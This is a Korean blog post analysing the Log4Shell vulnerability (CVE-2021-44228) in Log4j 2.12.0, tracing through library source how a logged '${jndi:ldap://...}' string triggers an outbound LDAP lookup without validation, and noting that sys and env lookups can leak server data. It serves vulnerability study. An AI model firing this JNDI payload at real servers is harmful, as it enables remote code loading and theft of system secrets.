분석환경
-이클립스 maven프로젝트
-Log4j 2.12.0
-ldap 요청을 확인하기 위해 https://log4shell.huntress.com/ 사이트 활용
먼저 로깅 과정을 디버깅 하기위해 main다음과 같이 main함수를 작성해주었다.
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Example {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.info("Hi -> " + "${jndi:ldap://log4shell.huntress.com:1389/f20cdfc4-68c2-4aec-b377-41b2c37054bf}");
}
}
Logger.info 함수 부분에 브레이크 포인트를 걸고 한줄한줄 넘기다보면 MessagePatternConverter 클래스의 format 함수를 호출한다.
해당 함수의 주요부분으로, 전달된 문자열중에 ${ 로 시작하는 문자열을 찾아 config.getStrSubstitutor.replace(event, value) 를 호출한다.
이 replace는
이렇게 구성되어 있으며, 매개변수로 받은 source(로깅문자열) 문자열을 이용해 substitute 함수를 호출한다.
이 substitute 함수는 다음과같이 구성되어 있다.
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();
final char escape = getEscapeChar();
final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();
final boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
char[] chars = getChars(buf);
int bufEnd = offset + length;
int pos = offset;
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
pos++;
} else {
// found variable start marker
if (pos > offset && chars[pos - 1] == escape) {
// escaped
buf.deleteCharAt(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
final int endPos = pos;
String varName = varNameExpr;
String varDefaultValue = null;
if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
// if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
if (!substitutionInVariablesEnabled
&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
break;
}
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}
// on the first call initialize priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
}
// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
// recursive replace
final int varLen = varValue.length();
buf.replace(startPos, endPos, varValue);
altered = true;
int change = substitute(event, buf, startPos, varLen, priorVariables);
change = change + (varLen - (endPos - startPos));
pos += change;
bufEnd += change;
lengthChange += change;
chars = getChars(buf); // in case buffer was altered
}
// remove variable from the cyclic stack
priorVariables.remove(priorVariables.size() - 1);
break;
}
nestedVarCount--;
pos += endMatchLen;
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}
꽤나 복잡하게 생겼는데 중요한부분은 다음과 같다.
함수의 도입부에서 선언된 prefixMatcher와 suffixMatcher 를 이용해 문자열에서 ${와 } 사이의 문자를 추출하여 resolveVariable 함수를 호출한다.
즉 main에서 Logger.info 함수에 넣어준 넣어준 "Hi -> " + "${jndi:ldap://log4shell.huntress.com:1389/f20cdfc4-68c2-4aec-b377-41b2c37054bf}" 문자중에서 jndi:ldap://log4shell.huntress.com:1389/f20cdfc4-68c2-4aec-b377-41b2c37054bf 이부분을 뽑아낸 것.
resloveVariable 함수는 StrLookup 의 인스턴스 resolver를 만들고 resolver.lookup 함수를 호출한다. 이 resolver에는 지원되는 lookup 키워드들이 map<key,value> 형식으로 정의되어있다.
확인해보니 {date, ctx, main, sys, env, sd, java, marker, jndi, jvmrunargs, bundle, map, log4j} 총 13개를 지원하며 이중 우리가 활용할 부분은 JndiLookup 이다.
${} 포맷으로 넣어준 입력값의 첫 키워드(jndi, java 등) 를 식별해서 해당하는 Lookup 인스턴스와 맵핑되는 방식.
resolver.lookup 함수에서는 PREFIX_SEPERATOR 로 ‘:’ 문자를 기준으로 prefix와 name을 설정한다.
즉 여기서는 jndi가 prefix가 되고 ldap://log4shell.huntress.com:1389/f20cdfc4-68c2-4aec-b377-41b2c37054bf 가 name이 된다.
그리고 strLookupMap.get 을 통해 prefix의값에 맞는 StrLookup 객체를 가져온다. 위의 map에서 jndi를 key로 하여 value를 가져오므로 JndiLookup 객체를 가져온것을 확인할 수 있다.
그후 가져온 JndiLookup 을 이용해 lookup함수를 호출
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
그리고 이 lookup 에서는 JndiManager 를 통해 다시 lookup 함수를 호출하고 리턴값을 toString 하여 반환한다. 즉 입력된 주소에 접근하고 리턴값을 받아오는것. 내부를 살펴보면
name문자열(입력값) 에서 URLScheme 를 가져오고
getURLObject 함수로 입력값에 요청을보내고 리턴값을 answer에 받아온다.
놀랍게도 여기까지 JndiLookup 기능을 호출함에있어 문자열에대한 필터링, 검증 로직이 전혀없다.
테스트 사이트에도 넣어준 경로로 ldap 요청이 들어온것을 확인할 수 있다.
위 사진의 두번째 payload처럼 log4j 서버의 값도 ldap서버로 보낼수 있는데 이점을 이용한다면 java(Javalookup), sys(SystemPropertyLookup), env(EnvironmentLookup) 등의 키워드를 사용해 log4j가 구동되는 서버의 정보들을 뽑아낼수도 있다.
REFERENCE
https://github.com/christophetd/log4shell-vulnerable-app/pkgs/container/log4shell-vulnerable-app
https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout https://logging.apache.org/log4j/2.x/manual/lookups.html https://github.com/apache/logging-log4j2
Log4j 위협 대응 보고서 v1.0 - 한국인터넷진흥원(KISA)
2021 하반기 위협 동향 보고서 - 한국인터넷진흥원(KISA)
'Security > Vulnerability Analysis' 카테고리의 다른 글
Log4j 취약점 발생원인 및 실습(CVE-2021-44228) (0) | 2022.05.01 |
---|